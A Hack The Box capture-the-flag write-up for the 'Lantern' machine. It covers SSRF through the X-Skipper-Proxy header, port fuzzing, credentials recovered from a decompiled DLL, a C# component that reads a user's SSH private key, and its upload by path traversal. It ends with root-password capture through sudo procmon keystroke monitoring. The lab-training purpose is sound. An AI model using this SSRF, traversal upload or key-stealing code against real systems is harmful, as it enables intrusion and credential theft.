Lantern HTB
by kpax
NMAP
# Nmap 7.94SVN scan initiated Sun Aug 18 10:28:45 2024 as: nmap -p- --min-rate 10000 -oA nmap/lantern-allports -v0 10.129.231.115
Nmap scan report for 10.129.231.115
Host is up (0.026s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
# Nmap done at Sun Aug 18 10:28:52 2024 -- 1 IP address (1 host up) scanned in 6.75 seconds
Foothold
Looking at the response from a request to the web server on port 80, we see reference to Skipper Proxy

This advisory reveals that we can abuse a SSRF by setting the X-Skipper-Proxy header to a remote or local server. We can use this to ffuf the header to discover ports on the localhost that are responding to us.
An invalid port gives us a 503 error

Whereas a valid port gives something else

Using the following ffuf command with a list of port numbers from 1 to 10000 reveals some open ports.
seq 1 10000 > ports.txt # Generate a ports list
ffuf -u http://lantern.htb -H 'X-Skipper-Proxy: http://127.0.0.1:FUZZ/' -w ports.txt # Fuzz the ports

Port 80 is the Skipper Proxy and port 8000 is the server that is being proxied. Port 3000 is the login page we discovered on our nmap scan. Port 5000 is new.
It is a site called Internal Lantern

At the bottom of the source code is reference to _framework/blazor.webassembly.js.
We can use burp to retrieve this file and searching in this file for more _framework references, we find reference to a blazor.boot.json

Within this file we find reference to a custom DLL called InternalLantern.dll

We download the DLL using curl
curl http://lantern.htb/_framework/InternaLantern.dll -H 'X-Skipper-Proxy: http://127.0.0.1:5000/' -o InternalLantern.dll
We then decode the DLL with CodemerxDecompile and in the OnInitalizedAsync function we find a number of base64 blobs.

The last of these blobs decodes as the following
U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
admin:AJbFA_Q@925p9ap#22
These creds work on the port 3000 site.
DLL Injection
Upon logging into the site, we find a way to upload files and a strange search box.

If we try a LFI in the search box then we get this error message. So it seems that if we can get a dll onto the box, then this may be able to execute it. We also leak tomas’ home directory and the dotnet version being used to run LanternAdmin.dll

Using the InternalLantern.dll as a guide, we can generate the following code to leak the SSH key of the tomas user.
InternalLantern.dll Vacancies Page

using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace exploit
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}
To compile it, on a windows machine, install visual studio and run the following commands from the visual studio command prompt.
dotnet new classlib -n exploit ## Creates a new project
cd exploit ## Enter the new project directory
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 ## Add the ASPNetCore.Components package to the project
## Edit the Class1.cs file and replace the contents with the code above.
## Edit the exploit.csproj and replace any net8.0 or similar to read net6.0, so we target the correct version of .net
dotnet build -c Release # Compile the project
The new dll will be in the releases directory. Copy the new dll to your attacking machine.
In burpsuite, install the Blazor Traffic Processor extension, then intercept the upload request of your exploit.dll file on the Upload Files section of the site.


Copy the serialised data from the request and de-serialise it in the BTP Tab

Copy the json from the right panel to the left and then change the path to ../../../../../../../../../opt/components/exploit.dll

Now change the drop down from Blazor-JSON to JSON->Blazor, serialise the JSON and copy the right hand panel data back to the request and forward it on.
You will get a success message

Now enter exploit in the search field and click Search to leak the SSH key.

Copy and paste it, then replace spaces with carriage returns to put it in the right format, so you can ssh as tomas.
Shell as tomas
Tomas is allowed to run /usr/bin/procmon as root

We also find an email message

From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!
Hi Tomas,
Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.
While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.
Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.
Exciting times ahead!
Best.
The /root/automation.sh file can be found in the process tree being edited in nano.

Using the procmon access we have, we can monitor the write access to this file and capture any keystrokes. The flags for this are laid our here
We set the -p flag to the Process ID of the nano process, then the -e flag to write and the -c flag to output.db, which will generate a SQLite3 Database of the results.

sudo /usr/bin/procmon -p 9653 -e write -c output.db
Once we have let this run for around 60 seconds, we can copy the output.db back to our machine, using scp.
We can then analyse the results of the sqlite3 database using DB Browser
Browsing the data, we notice a number of calls that take quite a lot longer than the ones around them

By filtering the results to durations that are over 900,000 we can see a pattern emerging in the arguments BLOB field.
As we move down through the results, we see that the decoded Hex is pretty static, apart from one character. It starts with the letters ech then there are some random letters and numbers and then the words sudo /backup.sh

The final string that is being typed into nano is
echo Q3Eddtdw3pMB sudo /backup.sh
The string beginning with Q is the root password and we can su to root from the tomas user.
Full NMAP
# Nmap 7.94SVN scan initiated Sun Aug 18 10:28:52 2024 as: nmap -p 22,80,3000 -sC -sV -oA nmap/lantern -vv 10.129.231.115
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.0 404 Not Found\r\n(?:[^<]+|<(?!/head>))*?<style>\nbody \{ background-color: #ffffff; color: #000000; \}\nh1 \{ font-family: sans-serif; font-size: 150%; background-color: #9999cc; font-weight: bold; color: #000000; margin-top: 0;\}\n</style>'
Nmap scan report for 10.129.231.115
Host is up, received echo-reply ttl 63 (0.025s latency).
Scanned at 2024-08-18 10:28:53 BST for 89s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGusUxyRLIhzLUjTy760PsP+hfg8+1NEQLQQfDeDRpoNyzq7OAGHksIqN1Mao6wZ7KRIU9FeeO4j3v1tygt+RgQ=
| 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN9saUksNH519vji9ytatnGGy+QGBN+u+vur9+/YmVja
80/tcp open http syn-ack ttl 63 Skipper Proxy
|_http-server-header: Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Sun, 18 Aug 2024 09:29:04 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Sun, 18 Aug 2024 09:28:59 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: OPTIONS, GET, HEAD
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Sun, 18 Aug 2024 09:28:59 GMT
|_ Server: Skipper Proxy
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
3000/tcp open ppp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
| Date: Sun, 18 Aug 2024 09:29:04 GMT
| Server: Kestrel
| System.UriFormatException: Invalid URI: The hostname could not be parsed.
| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
| System.Uri..ctor(String uriString, UriKind uriKind)
| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
| HTTPOptions:
| HTTP/1.1 200 OK
| Content-Length: 0
| Connection: close
| Date: Sun, 18 Aug 2024 09:29:09 GMT
| Server: Kestrel
| Help:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Sun, 18 Aug 2024 09:29:04 GMT
| Server: Kestrel
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Length: 0
| Connection: close
| Date: Sun, 18 Aug 2024 09:29:09 GMT
| Server: Kestrel
| SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Sun, 18 Aug 2024 09:29:24 GMT
|_ Server: Kestrel
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=8/18%Time=66C1BEDB%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,18F,"HTTP/1\.0\x20302\x20Found\r\nContent-Length:\x20225\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Sun,\x2018\x20A
SF:ug\x202024\x2009:28:59\x20GMT\r\nLocation:\x20http://lantern\.htb/\r\nS
SF:erver:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>
SF:\n<title>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\
SF:x20should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x
SF:20URL:\x20<a\x20href=\"http://lantern\.htb/\">http://lantern\.htb/</a>\
SF:.\x20If\x20not,\x20click\x20the\x20link\.\n")%r(HTTPOptions,A5,"HTTP/1\
SF:.0\x20200\x20OK\r\nAllow:\x20OPTIONS,\x20GET,\x20HEAD\r\nContent-Length
SF::\x200\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Sun,
SF:\x2018\x20Aug\x202024\x2009:28:59\x20GMT\r\nServer:\x20Skipper\x20Proxy
SF:\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(FourOhFourRequest,162,"HTTP/1\.0\x20404\x20
SF:Not\x20Found\r\nContent-Length:\x20207\r\nContent-Type:\x20text/html;\x
SF:20charset=utf-8\r\nDate:\x20Sun,\x2018\x20Aug\x202024\x2009:29:04\x20GM
SF:T\r\nServer:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20la
SF:ng=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>T
SF:he\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.\
SF:x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x2
SF:0your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(GenericLines,67,"H
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(He
SF:lp,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reques
SF:t")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.94SVN%I=7%D=8/18%Time=66C1BEE0%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,114E,"HTTP/1\.1\x20500\x20Internal\x20Server\x20Error\r\nCo
SF:nnection:\x20close\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Date:\x20Sun,\x2018\x20Aug\x202024\x2009:29:04\x20GMT\r\nServer:\x20Kes
SF:trel\r\n\r\nSystem\.UriFormatException:\x20Invalid\x20URI:\x20The\x20ho
SF:stname\x20could\x20not\x20be\x20parsed\.\n\x20\x20\x20at\x20System\.Uri
SF:\.CreateThis\(String\x20uri,\x20Boolean\x20dontEscape,\x20UriKind\x20ur
SF:iKind,\x20UriCreationOptions&\x20creationOptions\)\n\x20\x20\x20at\x20S
SF:ystem\.Uri\.\.ctor\(String\x20uriString,\x20UriKind\x20uriKind\)\n\x20\
SF:x20\x20at\x20Microsoft\.AspNetCore\.Components\.NavigationManager\.set_
SF:BaseUri\(String\x20value\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Co
SF:mponents\.NavigationManager\.Initialize\(String\x20baseUri,\x20String\x
SF:20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Components\.Server\.C
SF:ircuits\.RemoteNavigationManager\.Initialize\(String\x20baseUri,\x20Str
SF:ing\x20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Mvc\.ViewFeature
SF:s\.StaticComponentRenderer\.<InitializeStandardComponentServicesAsync>g
SF:__InitializeCore\|5_0\(HttpContext\x20httpContext\)\n\x20\x20\x20at\x20
SF:Microsoft\.AspNetCore\.Mvc\.ViewFeatures\.StaticC")%r(Help,78,"HTTP/1\.
SF:1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20cl
SF:ose\r\nDate:\x20Sun,\x2018\x20Aug\x202024\x2009:29:04\x20GMT\r\nServer:
SF:\x20Kestrel\r\n\r\n")%r(HTTPOptions,6F,"HTTP/1\.1\x20200\x20OK\r\nConte
SF:nt-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Sun,\x2018\x20Aug\x
SF:202024\x2009:29:09\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(RTSPRequest
SF:,87,"HTTP/1\.1\x20505\x20HTTP\x20Version\x20Not\x20Supported\r\nContent
SF:-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Sun,\x2018\x20Aug\x20
SF:2024\x2009:29:09\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(SSLSessionReq
SF:,78,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn
SF:ection:\x20close\r\nDate:\x20Sun,\x2018\x20Aug\x202024\x2009:29:24\x20G
SF:MT\r\nServer:\x20Kestrel\r\n\r\n")%r(TerminalServerCookie,78,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20clo
SF:se\r\nDate:\x20Sun,\x2018\x20Aug\x202024\x2009:29:24\x20GMT\r\nServer:\
SF:x20Kestrel\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 18 10:30:22 2024 -- 1 IP address (1 host up) scanned in 90.25 seconds